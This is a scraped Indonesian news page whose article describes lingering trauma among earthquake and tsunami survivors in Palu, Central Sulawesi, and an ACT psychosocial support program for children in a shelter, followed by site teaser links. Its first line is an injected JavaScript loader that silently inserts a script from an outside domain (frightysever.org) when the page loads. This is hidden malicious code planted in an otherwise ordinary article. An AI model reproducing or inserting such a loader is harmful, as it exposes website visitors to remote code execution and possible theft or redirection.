(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DONGGALA, Bencana gempa dan tsunami di Provinsi Sulawesi Tengah akhir September lalu masih terngiang-ngiang diingatan para korban. Ketakutan dan kepanikan para korban belum lepas pasca bencana tersebut.
Contohnya pada waktu makan malam pertama saya di Kota Palu, Provinsi Suteng. Selesai menyantap makanan, saya lalu menuju keluar sambil menikmati sendunya kota Palu. Namun tiba tiba listrik padam. Sontak saja saat itu Kota Palu berubah menjadi gelap gulita.
Saat itu juga saya dikagetkan, ketika seluruh pegawai rumah makan yang sedang memasak berlarian keluar sampai ada seorang ibu terjatuh. Bingung, itu yang saya rasakan waktu itu. Saya coba menanyakan ada apa, salah seorang pegawai rumah makan tersebut mengatakan bahwa padamnya listrik merupakan pertanda akan terjadinya bencana gempa.
“Waktu gempa dulu pertandanya listrik padam. Saya tidak berani di dalam bangunan,†ungkapnya
Ironis, mungkin itulah yang saya lihat. Masyarakat tidak bisa beraktifitas dengan tenang seperti biasa. Trauma itu masih menghantui para korban khususnya kalangan anak-anak.
Saya mencoba mencari tau apa jalan keluar terkait permasalahan ini. Rupanya saya diperlihatkan sebuah program (ACT) yaitu Dukungan Psikososial. Dalam program ini ACT menurunkan dokter umum, dokter spesialis, perawat, apoteker, bidan, psikolog, driver hingga mahasiswa untuk mendampingi anak-anak agar menghilangkan trauma mereka.
Hal tersebut diungkapkan Syahbandi Relawan ACT Padang, Sumatra Barat saat sayaberkunjung ke pengungsian di Kecamatan Sinduwe. “Kita gelar pendampingan ini untuk menghilangkan ketakutan dan kepanikan mereka,” tuturnya, Sabtu (3/11).
Terlihat, pendampingan psikososial memberikan nuansa baru bagi para anak-anak. Tertawa dan rasa bahagia itu yang saya rasakan ditempat sederhana ini. Bentuk kegiatan pendampingan psikososial lebih mengajarkan anak-anak untuk bermain, beragama dan belajar.
Masih menurut Syahbandi, pertama kali mereka melakukan pendampingan psikososial, anak-anak terlihat begitu berbeda namun setelah menjalani psikososial perubahan dari mental mereka jauh berubah.
“Waktu pertama mereka masih diam, raut wajahnya muruh. Sekarang setelah lima kali kita dampingi mereka sudah bisa tersenyum dan tertawa,” ujarnya yang juga seorang trainer.
Selama fase recovery ini pihak medis masih memfokuskan pada mental anak-anak. Nantinya setelah berubahnya fase menjadi Rehabilitasi, ACT akan menyalurkan bantuan berupa fasiltas pendidikan bagi anak-anak korban bencana.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.